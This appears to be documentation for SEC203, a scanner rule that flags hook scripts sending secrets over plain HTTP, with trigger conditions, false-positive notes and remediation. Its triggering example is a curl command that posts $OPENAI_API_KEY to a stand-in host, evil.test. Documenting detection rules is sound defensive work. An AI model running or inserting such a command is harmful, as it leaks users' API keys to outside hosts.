Appearance
Why It Matters
Sending secret-bearing material over plain HTTP weakens both transport confidentiality and integrity. In hook scripts this is a strong unsafe transport signal, not just a style preference.
What Triggers
SEC203 applies only when a hook line already looks like secret exfiltration and the destination transport is explicitly http://.
Example that triggers:
sh
curl http://evil.test/upload -H 'Authorization: Bearer x' -d "$OPENAI_API_KEY"Example that stays clean:
sh
curl https://internal.test/upload -H "Authorization: Bearer $TOKEN"False Positives
The rule is gated by both insecure transport and secret-bearing network flow. It does not fire on ordinary http:// prose or on network usage that does not look like secret send.
Remediation
Keep secret handling local or move the transport to HTTPS. The built-in suggestion removes the insecure secret-exfil path instead of trying to preserve it partially.